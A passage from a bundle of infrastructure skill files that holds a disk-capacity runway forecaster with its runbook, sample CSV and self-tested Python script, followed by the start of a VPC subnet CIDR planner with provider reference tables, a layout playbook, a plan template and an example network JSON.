| Package caches | `apt-get clean`, `dnf clean all`, old kernels |
| Database | archive or drop old partitions, `VACUUM` / table repack, check WAL or binlog retention and stuck replication slots |
| Backups | apply the retention policy; move old sets to object storage or cold tier |
| Core dumps, heap dumps, tmp | remove after the incident owner confirms |
Never `rm` a file a database is using; never clear WAL or binlogs by hand.
## 3. Resize
- **AWS EBS:** modify the volume size, wait for the optimizing state, then `sudo growpart /dev/nvme0n1 1` and `sudo resize2fs /dev/nvme0n1p1` (ext4) or `sudo xfs_growfs /mount` (xfs). One size increase per 6 hours per volume.
- **Azure managed disk / GCP persistent disk:** increase the size (Azure may need the VM deallocated for some disks), then grow the partition and filesystem the same way.
- **LVM:** `lvextend -r -L +100G vg/lv` grows the filesystem too.
- **Kubernetes PVC:** edit `spec.resources.requests.storage` when the StorageClass has `allowVolumeExpansion: true`.
Volumes can grow but rarely shrink, so size to the forecast, not far beyond it.
## 4. Alerts that give time to act
- Warn at 80% used or 14 days of runway; page at 90% or 3 days of runway (Prometheus: `predict_linear(node_filesystem_avail_bytes[6h], 4*3600) < 0` style rules).
- Alert on inode use above 85%.
- Review capacity monthly with this skill's report; add growth from planned launches by hand.
FILE:templates/capacity-review.md
# Capacity Review - <service / fleet> - <date>
**Data:** <source>, <first sample> to <last sample> (<time zone>) **Horizon:** <90> days **Reviewer:** <name>
## Runway
| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 90% on | Full on | Suggested size |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## What is growing
| Volume | Main consumer | Evidence | One-off or ongoing |
|---|---|---|---|
| | | | |
## Actions
| Volume | Action | Owner | Due | Gain |
|---|---|---|---|---|
| | | | | |
## Alerts
- Warning: <80% or 14 days runway> - Page: <90% or 3 days runway> - Inodes: <85%>
## Next review
<date>; re-run the forecaster with fresh samples
FILE:examples/fleet-disk-usage.csv
timestamp,volume,used_gb,size_gb
2026-10-01T06:00,db01:/var/lib/postgresql,300.0,500
2026-10-01T06:00,web01:/var/log,21.0,100
2026-10-01T06:00,ci-runner01:/,110.0,200
2026-10-01T06:00,backup-nas:/srv/backups,2100.0,4000
2026-10-02T06:00,db01:/var/lib/postgresql,303.4,500
2026-10-02T06:00,web01:/var/log,24.4,100
2026-10-02T06:00,ci-runner01:/,111.4,200
2026-10-02T06:00,backup-nas:/srv/backups,2105.4,4000
2026-10-03T06:00,db01:/var/lib/postgresql,305.7,500
2026-10-03T06:00,web01:/var/log,26.7,100
2026-10-03T06:00,ci-runner01:/,111.7,200
2026-10-03T06:00,backup-nas:/srv/backups,2109.7,4000
2026-10-04T06:00,db01:/var/lib/postgresql,309.2,500
2026-10-04T06:00,web01:/var/log,30.2,100
2026-10-04T06:00,ci-runner01:/,113.2,200
2026-10-04T06:00,backup-nas:/srv/backups,2115.2,4000
2026-10-05T06:00,db01:/var/lib/postgresql,311.9,500
2026-10-05T06:00,web01:/var/log,32.9,100
2026-10-05T06:00,ci-runner01:/,113.9,200
2026-10-05T06:00,backup-nas:/srv/backups,2119.9,4000
2026-10-06T06:00,db01:/var/lib/postgresql,315.5,500
2026-10-06T06:00,web01:/var/log,22.5,100
2026-10-06T06:00,ci-runner01:/,115.5,200
2026-10-06T06:00,backup-nas:/srv/backups,2125.5,4000
2026-10-07T06:00,db01:/var/lib/postgresql,317.6,500
2026-10-07T06:00,web01:/var/log,24.6,100
2026-10-07T06:00,ci-runner01:/,115.6,200
2026-10-07T06:00,backup-nas:/srv/backups,2129.6,4000
2026-10-08T06:00,db01:/var/lib/postgresql,321.1,500
2026-10-08T06:00,web01:/var/log,28.1,100
2026-10-08T06:00,ci-runner01:/,117.1,200
2026-10-08T06:00,backup-nas:/srv/backups,2135.1,4000
2026-10-09T06:00,db01:/var/lib/postgresql,324.3,500
2026-10-09T06:00,web01:/var/log,31.3,100
2026-10-09T06:00,ci-runner01:/,118.3,200
2026-10-09T06:00,backup-nas:/srv/backups,2140.3,4000
2026-10-10T06:00,db01:/var/lib/postgresql,326.8,500
2026-10-10T06:00,web01:/var/log,33.8,100
2026-10-10T06:00,ci-runner01:/,118.8,200
2026-10-10T06:00,backup-nas:/srv/backups,2144.8,4000
2026-10-11T06:00,db01:/var/lib/postgresql,330.0,500
2026-10-11T06:00,web01:/var/log,23.0,100
2026-10-11T06:00,ci-runner01:/,120.0,200
2026-10-11T06:00,backup-nas:/srv/backups,2150.0,4000
2026-10-12T06:00,db01:/var/lib/postgresql,333.4,500
2026-10-12T06:00,web01:/var/log,26.4,100
2026-10-12T06:00,ci-runner01:/,121.4,200
2026-10-12T06:00,backup-nas:/srv/backups,2155.4,4000
2026-10-13T06:00,db01:/var/lib/postgresql,335.7,500
2026-10-13T06:00,web01:/var/log,28.7,100
2026-10-13T06:00,ci-runner01:/,121.7,200
2026-10-13T06:00,backup-nas:/srv/backups,2159.7,4000
2026-10-14T06:00,db01:/var/lib/postgresql,339.2,500
2026-10-14T06:00,web01:/var/log,32.2,100
2026-10-14T06:00,ci-runner01:/,123.2,200
2026-10-14T06:00,backup-nas:/srv/backups,2165.2,4000
2026-10-15T06:00,db01:/var/lib/postgresql,341.9,500
2026-10-15T06:00,web01:/var/log,34.9,100
2026-10-15T06:00,ci-runner01:/,123.9,200
2026-10-15T06:00,backup-nas:/srv/backups,2169.9,4000
2026-10-16T06:00,db01:/var/lib/postgresql,345.5,500
2026-10-16T06:00,web01:/var/log,24.5,100
2026-10-16T06:00,ci-runner01:/,130.5,200
2026-10-16T06:00,backup-nas:/srv/backups,2575.5,4000
2026-10-17T06:00,db01:/var/lib/postgresql,347.6,500
2026-10-17T06:00,web01:/var/log,26.6,100
2026-10-17T06:00,ci-runner01:/,135.6,200
2026-10-17T06:00,backup-nas:/srv/backups,2579.6,4000
2026-10-18T06:00,db01:/var/lib/postgresql,351.1,500
2026-10-18T06:00,web01:/var/log,30.1,100
2026-10-18T06:00,ci-runner01:/,142.1,200
2026-10-18T06:00,backup-nas:/srv/backups,2585.1,4000
2026-10-19T06:00,db01:/var/lib/postgresql,354.3,500
2026-10-19T06:00,web01:/var/log,33.3,100
2026-10-19T06:00,ci-runner01:/,148.3,200
2026-10-19T06:00,backup-nas:/srv/backups,2590.3,4000
2026-10-20T06:00,db01:/var/lib/postgresql,356.8,500
2026-10-20T06:00,web01:/var/log,35.8,100
2026-10-20T06:00,ci-runner01:/,153.8,200
2026-10-20T06:00,backup-nas:/srv/backups,2594.8,4000
2026-10-21T06:00,db01:/var/lib/postgresql,360.1,500
2026-10-21T06:00,web01:/var/log,25.1,100
2026-10-21T06:00,ci-runner01:/,160.1,200
2026-10-21T06:00,backup-nas:/srv/backups,2600.1,4000
FILE:scripts/disk_runway.py
#!/usr/bin/env python3
"""Disk capacity runway forecaster (Python 3 standard library only).
Input: CSV with a header row and columns
timestamp,volume,used_gb,size_gb
timestamp is ISO 8601 ("2026-10-01T00:00", "2026-10-01 06:00" or a date); one row per sample,
any order, several volumes in one file. size_gb may change (a resize); the latest value is used.
Model per volume:
- growth rate = least-squares slope of used_gb over time (GB/day), plus R^2 for fit quality;
one-off steps larger than 5% of the size are kept in current usage but removed from the trend
- recent rate = slope over the last 7 days of samples (or the last third if shorter)
- runway to 80/90/95/100% full = (threshold x size - used now) / max(rate, recent rate),
counted from the LAST sample (not from today), so results are reproducible
- suggested size: smallest whole 10 GB step that keeps the volume under 80% for
--horizon days (default 90) at the worse of the two rates
Status / findings (severity):
CRITICAL FULL_SOON 100% within 7 days, or already >= 95% used
HIGH RUNWAY_SHORT 90% within 14 days
MEDIUM RUNWAY_WATCH 80% within 30 days
MEDIUM ACCELERATING recent rate > 1.5x the overall rate (and > 0.1 GB/day)
MEDIUM SUDDEN_JUMP one step grew by more than 5% of the volume size
LOW NOISY_TREND R^2 < 0.5: usage swings (log rotation, temp files); trust less
LOW SHRINKING usage is falling; no runway
LOW FEW_SAMPLES fewer than 4 samples or under 2 days of data
Usage:
python3 disk_runway.py usage.csv
python3 disk_runway.py usage.csv --horizon 180 --json
python3 disk_runway.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import sys
THRESHOLDS = (0.8, 0.9, 0.95, 1.0)
class DataError(ValueError):
pass
def parse_time(s):
s = s.strip().replace("Z", "+00:00")
try:
t = dt.datetime.fromisoformat(s)
except ValueError:
raise DataError(f"bad timestamp {s!r}")
return t.replace(tzinfo=None) if t.tzinfo is None else t.astimezone(dt.timezone.utc).replace(tzinfo=None)
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
need = {"timestamp", "volume", "used_gb", "size_gb"}
if not rd.fieldnames or not need <= {f.strip() for f in rd.fieldnames}:
raise DataError(f"CSV header must contain {', '.join(sorted(need))}")
vols = {}
for n, row in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in row.items() if k}
if not any(row.values()):
continue
try:
used, size = float(row["used_gb"]), float(row["size_gb"])
except ValueError:
raise DataError(f"line {n}: used_gb and size_gb must be numbers")
if size <= 0 or used < 0:
raise DataError(f"line {n}: size_gb must be > 0 and used_gb >= 0")
vols.setdefault(row["volume"] or "(unnamed)", []).append((parse_time(row["timestamp"]), used, size))
if not vols:
raise DataError("no data rows")
return {k: sorted(v) for k, v in vols.items()}
def slope(points):
"""points: [(days, value)] -> (slope per day, r2)"""
n = len(points)
if n < 2:
return 0.0, 0.0
mx = sum(p[0] for p in points) / n
my = sum(p[1] for p in points) / n
sxx = sum((p[0] - mx) ** 2 for p in points)
if sxx == 0:
return 0.0, 0.0
sxy = sum((p[0] - mx) * (p[1] - my) for p in points)
b = sxy / sxx
syy = sum((p[1] - my) ** 2 for p in points)
r2 = 1.0 if syy == 0 else (sxy * sxy) / (sxx * syy)
return b, r2
def analyze(samples, horizon=90):
t0 = samples[0][0]
last_t, used, size = samples[-1]
# one-off steps (> 5% of size in one sample) are removed from the trend, not extrapolated
steps = [samples[i][1] - samples[i - 1][1] for i in range(1, len(samples))]
normal = sorted(x for x in steps if x <= 0.05 * size)
typical = normal[len(normal) // 2] if normal else 0.0
shift, pts = 0.0, []
for i, (t, u, _) in enumerate(samples):
if i and steps[i - 1] > 0.05 * size:
shift += steps[i - 1] - typical
pts.append(((t - t0).total_seconds() / 86400, u - shift))
span = pts[-1][0]
rate, r2 = slope(pts)
cut = pts[-1][0] - 7 if span >= 14 else pts[-1][0] - span / 3
recent_pts = [p for p in pts if p[0] >= cut]
recent, _ = slope(recent_pts) if len(recent_pts) >= 2 else (rate, 0)
worst = max(rate, recent)
pct = used / size
runway = {}
for th in THRESHOLDS:
left = th * size - used
if left <= 0:
runway[th] = (0.0, last_t)
elif worst > 1e-9:
d = left / worst
runway[th] = (d, last_t + dt.timedelta(days=d))
else:
runway[th] = (None, None)
need = used + max(worst, 0) * horizon
suggest = max(size, math.ceil(need / 0.8 / 10) * 10)
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
d100, d90, d80 = runway[1.0][0], runway[0.9][0], runway[0.8][0]
if pct >= 0.95 or (d100 is not None and d100 <= 7):
f("CRITICAL", "FULL_SOON", f"{pct:.0%} used; full in {fmt_days(d100)}")
elif d90 is not None and d90 <= 14:
f("HIGH", "RUNWAY_SHORT", f"90% in {fmt_days(d90)}")
elif d80 is not None and d80 <= 30:
f("MEDIUM", "RUNWAY_WATCH", f"80% in {fmt_days(d80)}")
if rate > 0 and recent > 1.5 * rate and recent > 0.1:
f("MEDIUM", "ACCELERATING", f"last-week rate {recent:.2f} GB/day vs overall {rate:.2f} GB/day")
jumps = [(samples[i][0], samples[i][1] - samples[i - 1][1]) for i in range(1, len(samples))]
big = [j for j in jumps if j[1] > 0.05 * size]
if big:
t, g = max(big, key=lambda j: j[1])
f("MEDIUM", "SUDDEN_JUMP", f"+{g:.1f} GB in one step at {t:%Y-%m-%d %H:%M} (backup, dump, log burst?)")
if len(pts) >= 4 and r2 < 0.5 and worst > 0:
f("LOW", "NOISY_TREND", f"R^2 {r2:.2f}; usage swings, so treat the runway as rough")
if worst < 0:
f("LOW", "SHRINKING", f"usage falling {rate:.2f} GB/day")
if len(pts) < 4 or span < 2:
f("LOW", "FEW_SAMPLES", f"{len(pts)} samples over {span:.1f} days; collect more data")
rank = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
findings.sort(key=lambda x: rank[x["severity"]])
return {"last_sample": last_t.strftime("%Y-%m-%d %H:%M"), "used_gb": round(used, 2), "size_gb": size,
"used_pct": round(pct * 100, 1), "rate_gb_day": round(rate, 3), "recent_rate_gb_day": round(recent, 3),
"r2": round(r2, 3), "samples": len(pts), "span_days": round(span, 2),
"runway": {f"{int(th * 100)}%": {"days": None if d is None else round(d, 1),
"date": None if t is None else t.strftime("%Y-%m-%d")}
for th, (d, t) in runway.items()},
"suggested_size_gb": suggest, "horizon_days": horizon, "findings": findings,
"status": findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH", "MEDIUM") else "OK"}
def fmt_days(d):
if d is None:
return "never at current rate"
if d <= 0:
return "already"
if d < 1:
return f"{d * 24:.0f} h"
return f"{d:.1f} days"
def report(res, horizon):
out = ["# Disk runway report", "", f"Runway uses the worse of the overall and last-week growth rate; suggested size keeps usage under 80% for {horizon} days.", "",
"| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 80% | 90% | 100% | Suggested size |",
"|---|---|---|---|---|---|---|---|---|"]
order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "OK": 3}
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
def cell(k):
x = r["runway"][k]
if x["days"] is None:
return "never"
return "now" if x["days"] == 0 else f"{x['days']} d ({x['date']})"
out.append(f"| {name} | {r['status']} | {r['used_gb']:g} GB ({r['used_pct']}%) | {r['size_gb']:g} GB | "
f"{r['rate_gb_day']} / {r['recent_rate_gb_day']} | {cell('80%')} | {cell('90%')} | {cell('100%')} | "
f"{r['suggested_size_gb']:g} GB |")
out += ["", "## Findings"]
any_f = False
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
for x in r["findings"]:
any_f = True
out.append(f"- **{x['severity']} {x['code']}** ({name}): {x['message']}")
if not any_f:
out.append("- none")
out += ["", "Last samples: " + ", ".join(f"{n} {r['last_sample']} ({r['samples']} samples, {r['span_days']} days, R^2 {r['r2']})" for n, r in sorted(res.items()))]
return "\n".join(out) + "\n"
def run(text, horizon=90):
if horizon <= 0:
raise DataError("horizon must be > 0")
return {name: analyze(s, horizon) for name, s in read_rows(text).items()}
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
b, r2 = slope([(0, 10), (1, 12), (2, 14)])
ok("slope 2/day exact fit", abs(b - 2) < 1e-9 and abs(r2 - 1) < 1e-9)
ok("flat slope 0", slope([(0, 5), (1, 5), (2, 5)])[0] == 0)
hdr = "timestamp,volume,used_gb,size_gb\n"
lin = hdr + "".join(f"2026-10-{d:02d},v,{100 + 2 * d},500\n" for d in range(1, 15))
r = run(lin)["v"]
ok("rate 2 GB/day", abs(r["rate_gb_day"] - 2) < 1e-6)
ok("80% runway (400-128)/2 = 136 d", r["runway"]["80%"]["days"] == 136.0)
ok("runway date from last sample", r["runway"]["100%"]["date"] == "2027-04-18")
ok("healthy volume status OK", r["status"] == "OK" and r["findings"] == [])
ok("suggested size keeps 500", r["suggested_size_gb"] == 500)
r = run(lin, horizon=180)["v"]
ok("180 d horizon suggests 610", r["suggested_size_gb"] == 610)
full = hdr + "".join(f"2026-10-{d:02d},v,{80 + 3 * d},100\n" for d in range(1, 6))
r = run(full)["v"]
ok("95% used is CRITICAL", r["status"] == "CRITICAL" and r["findings"][0]["code"] == "FULL_SOON")
ok("past threshold runway is 0", r["runway"]["90%"]["days"] == 0)
short = hdr + "".join(f"2026-10-{d:02d},v,{50 + 3 * d},100\n" for d in range(1, 8))
r = run(short)["v"]
ok("90% in ~6 days is HIGH", r["status"] == "HIGH")
watch = hdr + "".join(f"2026-10-{d:02d},v,{40 + d},100\n" for d in range(1, 8))
ok("80% in 33 d is OK, 80% in 26 d is MEDIUM", run(watch)["v"]["status"] == "OK" and
run(hdr + "".join(f"2026-10-{d:02d},v,{47 + d},100\n" for d in range(1, 8)))["v"]["status"] == "MEDIUM")
acc = hdr + "".join(f"2026-10-{d:02d},v,{100 + (d if d <= 14 else 14 + 5 * (d - 14))},1000\n" for d in range(1, 22))
r = run(acc)["v"]
ok("accelerating flagged", any(x["code"] == "ACCELERATING" for x in r["findings"]))
ok("recent rate used for runway", r["recent_rate_gb_day"] > r["rate_gb_day"])
jump = hdr + "2026-10-01,v,100,500\n2026-10-02,v,101,500\n2026-10-03,v,140,500\n2026-10-04,v,141,500\n"
r = run(jump)["v"]
ok("sudden jump flagged", any(x["code"] == "SUDDEN_JUMP" for x in r["findings"]))
ok("jump removed from trend (1 GB/day)", abs(r["rate_gb_day"] - 1) < 1e-6 and r["used_gb"] == 141)
noisy = hdr + "".join(f"2026-10-{d:02d},v,{100 + (8 if d % 2 else 0) + 0.3 * d:.1f},500\n" for d in range(1, 21))
ok("noisy trend flagged", any(x["code"] == "NOISY_TREND" for x in run(noisy)["v"]["findings"]))
shr = hdr + "".join(f"2026-10-{d:02d},v,{200 - 3 * d},500\n" for d in range(1, 8))
r = run(shr)["v"]
ok("shrinking flagged and runway never", any(x["code"] == "SHRINKING" for x in r["findings"]) and r["runway"]["100%"]["days"] is None)
few = hdr + "2026-10-01T00:00,v,10,100\n2026-10-01T12:00,v,11,100\n"
ok("few samples flagged", any(x["code"] == "FEW_SAMPLES" for x in run(few)["v"]["findings"]))
multi = hdr + "2026-10-02,b,5,100\n2026-10-01,a,1,100\n2026-10-01,b,4,100\n2026-10-02,a,1,100\n"
r = run(multi)
ok("multiple volumes, unsorted rows", set(r) == {"a", "b"} and r["b"]["rate_gb_day"] == 1)
ok("resize uses latest size", run(hdr + "2026-10-01,v,50,100\n2026-10-02,v,52,200\n")["v"]["size_gb"] == 200)
ok("fmt_days hours", fmt_days(0.5) == "12 h")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + "x,v,1,10\n", "bad timestamp"),
(hdr + "2026-10-01,v,abc,10\n", "bad number"), (hdr + "2026-10-01,v,1,0\n", "zero size")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Forecast when disks fill up from usage samples.")
ap.add_argument("file", nargs="?", help="CSV: timestamp,volume,used_gb,size_gb")
ap.add_argument("--horizon", type=int, default=90, help="days of runway the suggested size must cover (default 90)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
res = run(open(a.file, encoding="utf-8").read(), a.horizon)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res, a.horizon), end="\n" if a.json else "")
return 1 if any(r["status"] in ("CRITICAL", "HIGH") for r in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())Plans and checks IPv4 subnet layouts for AWS, Azure, GCP or on-prem networks. Sizes each subnet from host counts plus growth and the provider's reserved addresses, allocates aligned CIDR blocks largest-first, and flags overlapping subnets, VPC ranges that clash with peered VPCs, VPNs or the docker0 bridge, public ranges, size limits, low headroom and single-zone layouts. Includes a stdlib Python planner with --self-test.
---
name: vpc-subnet-cidr-planner
description: Plans and checks IPv4 subnet layouts for AWS, Azure, GCP or on-prem networks. Sizes each subnet from host counts plus growth and the provider's reserved addresses, allocates aligned CIDR blocks largest-first, and flags overlapping subnets, VPC ranges that clash with peered VPCs, VPNs or the docker0 bridge, public ranges, size limits, low headroom and single-zone layouts. Includes a stdlib Python planner with --self-test.
---
# VPC Subnet CIDR Planner
You help engineers carve a network into subnets that fit today, leave room to grow, and never collide with anything they will need to route to later. You turn "we need public, app and data subnets in two zones" into exact CIDR blocks, explain the numbers, and catch the overlaps that are painful to fix once workloads are running.
## Files in this skill
- `scripts/cidr_plan.py` - sizes and allocates subnets, lists usable host ranges and free blocks, and reports findings (Python 3 standard library only, uses `ipaddress`)
- `references/cidr-math-and-provider-rules.md` - prefix sizes table, alignment, reserved addresses and limits per provider, private ranges
- `references/subnet-layout-playbook.md` - tiered layouts, zone strategy, sizing Kubernetes pod subnets, avoiding overlaps with VPNs and peers, renumbering options
- `templates/subnet-plan.md` - a plan document for review or a pull request
- `examples/shop-platform-vpc.json` - an AWS /18 with legacy subnets, a peered analytics VPC and six new subnets in two zones
## Workflow
### 1. Gather the network facts
Ask for the provider, the VPC / VNet CIDR (or the range they may use), existing subnets, every network it must talk to (peered VPCs, VPNs, on-prem offices, partner links, other clouds), and the subnets they need: purpose, zone, hosts now, and expected growth. For Kubernetes, ask whether pods get VPC addresses (AWS VPC CNI, Azure CNI) because then pod count, not node count, sizes the subnet.
### 2. Run the planner
```
python3 scripts/cidr_plan.py examples/shop-platform-vpc.json
python3 scripts/cidr_plan.py plan.json --json
python3 scripts/cidr_plan.py --self-test
```
Exit code 1 means HIGH findings (overlaps, no space), 2 means bad input (host bits set, IPv6, overlapping VPC ranges).
### 3. Review the result
Fix HIGH findings first: an overlap with a peer or VPN cannot be routed and usually means picking a new VPC range now, while it is cheap. Use `references/subnet-layout-playbook.md` to adjust the layout (equal-sized subnets per zone, a spare block per tier, room for a third zone) and `references/cidr-math-and-provider-rules.md` to explain sizes. Re-run after each change.
### 4. Deliver
Fill `templates/subnet-plan.md` with the table, free blocks, findings and decisions. Offer Terraform or CLI snippets for the final blocks if asked.
## Example result
For `examples/shop-platform-vpc.json` (AWS 10.20.0.0/18): app subnets of 2,500 pods +60% growth get /20s (4,091 usable each) at 10.20.16.0/20 and 10.20.32.0/20; load balancer and data subnets get /25s (123 usable). Findings: HIGH legacy rds-b 10.20.1.128/25 overlaps rds-a 10.20.1.0/24; HIGH the peered analytics VPC 10.20.48.0/20 sits inside this VPC, so routing to it breaks; LOW only 20% of the space is left free.
## Rules
- Never propose a range that overlaps a known peer, VPN or on-prem network; ask for the full list if unsure.
- Plan for growth and a future zone; resizing a subnet in place is usually impossible.
- Keep IPv4 math exact; show usable counts after the provider's reserved addresses.
- Do not change live networks yourself; give a plan and the order of changes for the user to apply.
FILE:references/cidr-math-and-provider-rules.md
# CIDR Math and Provider Rules
## Prefix sizes (IPv4)
| Prefix | Addresses | AWS / Azure usable (-5) | GCP usable (-4) | Classic usable (-2) |
|---|---|---|---|---|
| /16 | 65,536 | 65,531 | 65,532 | 65,534 |
| /18 | 16,384 | 16,379 | 16,380 | 16,382 |
| /19 | 8,192 | 8,187 | 8,188 | 8,190 |
| /20 | 4,096 | 4,091 | 4,092 | 4,094 |
| /21 | 2,048 | 2,043 | 2,044 | 2,046 |
| /22 | 1,024 | 1,019 | 1,020 | 1,022 |
| /23 | 512 | 507 | 508 | 510 |
| /24 | 256 | 251 | 252 | 254 |
| /25 | 128 | 123 | 124 | 126 |
| /26 | 64 | 59 | 60 | 62 |
| /27 | 32 | 27 | 28 | 30 |
| /28 | 16 | 11 | 12 | 14 |
Each step of one in the prefix halves or doubles the block. Addresses = 2^(32 - prefix).
## Alignment
A block must start on a multiple of its own size: a /20 starts at x.x.0.0, x.x.16.0, x.x.32.0, ...; 10.20.8.0/20 is invalid (host bits set). Allocating largest blocks first keeps the space unfragmented; small subnets placed first can block every aligned slot for a big one.
## Reserved addresses per subnet
- **AWS:** first four (network, VPC router, DNS, reserved) and the last (broadcast) -> 5. VPC CIDR /16 to /28, subnets /16 to /28. Up to 5 CIDR blocks per VPC by default (secondary CIDRs can add space later).
- **Azure:** first four (network, gateway, 2 x DNS) and the last -> 5. Subnets up to /29. Some services need dedicated subnets (GatewaySubnet /27 or larger, AzureFirewallSubnet /26, AzureBastionSubnet /26).
- **GCP:** network, gateway, second-to-last and broadcast -> 4. Subnets are regional (not zonal), /29 smallest; secondary ranges for GKE pods and services.
- **Classic / on-prem:** network and broadcast -> 2 (/31 point-to-point links are a special case).
## Private and special ranges
- RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
- Carrier-grade NAT shared space 100.64.0.0/10 (RFC 6598): usable inside clouds, but check the ISP / VPN does not use it.
- Avoid: 172.17.0.0/16 (default docker0 bridge), 169.254.0.0/16 (link-local, cloud metadata), 192.168.0.0/24 and 192.168.1.0/24 (home routers, so VPN users clash), 10.0.0.0/16 (default VPC in many tools, so peers often clash).
- Public ranges inside a VPC make those internet addresses unreachable from it.
## Quick formulas
- Smallest prefix for N usable hosts with R reserved: 32 - ceil(log2(N + R)).
- Hosts with growth: ceil(hosts x (1 + growth)).
- Free space after a plan = VPC addresses - (existing + new + blocked peer ranges inside the VPC).
FILE:references/subnet-layout-playbook.md
# Subnet Layout Playbook
## Tiered layout per zone
| Tier | Holds | Typical size | Route |
|---|---|---|---|
| Public | load balancers, NAT gateways, bastion | /24 to /26 | internet gateway |
| Private app | VMs, containers, Kubernetes nodes and pods | largest, /20 to /22 | NAT gateway |
| Data | databases, caches, queues | /24 to /26 | no internet route |
| Spare | future tier or a third zone | keep one aligned block | - |
Use the same size per tier in every zone so a failover zone can carry the full load.
## Zone strategy
- At least two zones for anything production; three if the region and budget allow.
- Reserve the third zone's blocks now even if unused; it keeps the layout symmetrical.
- GCP subnets are regional, so plan per region instead of per zone.
## Sizing Kubernetes
- With AWS VPC CNI or Azure CNI every pod takes a VPC address: size app subnets by peak pods (nodes x max pods per node), plus surge during rolling updates (often +25%) and node replacement.
- Prefix delegation (AWS) or overlay networking (Calico, Cilium, kubenet, Azure CNI Overlay) moves pods to a separate range; then size by nodes and keep the pod CIDR clear of every peer.
- Keep the service CIDR (for example 172.20.0.0/16) clear of the VPC and peers too.
## Avoiding overlaps
- Collect every network you will ever route to: other VPCs and accounts, VPN clients, offices, partners, other clouds, and ranges used by acquired companies.
- Keep a central IP plan (spreadsheet or IPAM) and give each environment its own block, for example 10.20.0.0/16 prod, 10.21.0.0/16 staging, 10.22.0.0/16 dev.
- Do not pick 10.0.0.0/16, 172.17.0.0/16 or 192.168.0.0/24 to 192.168.1.0/24 for anything that VPN users reach.
## When something already overlaps
1. Prefer renumbering the smaller or newer side now (new VPC or a secondary CIDR, migrate, delete old).
2. If renumbering is impossible, use NAT (private NAT gateway, NAT on the VPN device) and route only translated ranges.
3. Overlapping subnets inside one VPC cannot be created on AWS / Azure / GCP; in documents they are usually typos, so verify the real values.
## Review checklist
- [ ] VPC range private and unique across all peers and VPNs
- [ ] every subnet aligned, inside the VPC and non-overlapping
- [ ] sizes include reserved addresses and growth
- [ ] same tier sizes in each zone; spare block kept
- [ ] at least 25% of the VPC left free
FILE:templates/subnet-plan.md
# Subnet Plan - <network name>
**Provider / region:** <aws eu-west-1> **VPC CIDR:** <10.x.0.0/16> **Owner:** <team> **Date:** <date>
**Peers / VPNs checked:** <list of ranges>
## Subnets
| Subnet | Tier | Zone | Hosts now | Growth | CIDR | Usable | Route table |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Existing subnets kept
| Name | CIDR | Notes |
|---|---|---|
| | | |
## Free space
- Used or blocked: <n> of <total> (<x>% free)
- Spare blocks reserved for: <third zone / future tier>
## Findings and decisions
| Severity | Finding | Decision |
|---|---|---|
| | | |
## Rollout order
1. <create secondary CIDR / new VPC>
2. <create subnets and route tables>
3. <migrate workloads, remove old subnets>
FILE:examples/shop-platform-vpc.json
{
"name": "shop platform, eu-west-1 production VPC",
"provider": "aws",
"vpc_cidrs": ["10.20.0.0/18"],
"existing": [
{"name": "legacy bastion", "cidr": "10.20.0.0/26"},
{"name": "legacy rds-a", "cidr": "10.20.1.0/24"},
{"name": "legacy rds-b", "cidr": "10.20.1.128/25"}
],
"peers": [
{"name": "office VPN (Istanbul)", "cidr": "192.168.10.0/24"},
{"name": "analytics VPC (peered)", "cidr": "10.20.48.0/20"}
],
"requests": [
{"name": "public-a (load balancers)", "hosts": 40, "zone": "eu-west-1a", "growth": 0.5},
{"name": "public-b (load balancers)", "hosts": 40, "zone": "eu-west-1b", "growth": 0.5},
{"name": "app-a (EKS pods)", "hosts": 2500, "zone": "eu-west-1a", "growth": 0.6},
{"name": "app-b (EKS pods)", "hosts": 2500, "zone": "eu-west-1b", "growth": 0.6},
{"name": "data-a (databases, cache)", "hosts": 60, "zone": "eu-west-1a"},
{"name": "data-b (databases, cache)", "hosts": 60, "zone": "eu-west-1b"}
]
}
FILE:scripts/cidr_plan.py
#!/usr/bin/env python3
"""VPC subnet CIDR planner and checker (Python 3 standard library only).
Input: a network plan JSON file:
{"name": "prod-eu", "provider": "aws", "vpc_cidrs": ["10.40.0.0/16"],
"existing": [{"name": "legacy-db", "cidr": "10.40.8.0/24"}],
"peers": [{"name": "office vpn", "cidr": "192.168.0.0/22"}],
"requests": [{"name": "app-a", "hosts": 900, "zone": "eu-west-1a", "growth": 0.5}]}
provider: aws | azure | gcp | generic. Reserved addresses per subnet: aws 5, azure 5,
gcp 4, generic 2 (network + broadcast). Subnet size limits: aws /16../28,
azure /8../29, gcp /8../29, generic /8../30.
requests: hosts needed now; growth = extra fraction to reserve (default 0.3);
optional "prefix" forces a size. Allocation is largest-first, aligned, lowest free address,
never overlapping existing subnets or peer networks that sit inside the VPC.
Checks (severity):
HIGH OVERLAP_EXISTING two existing subnets overlap
HIGH OUTSIDE_VPC existing subnet not inside any VPC CIDR
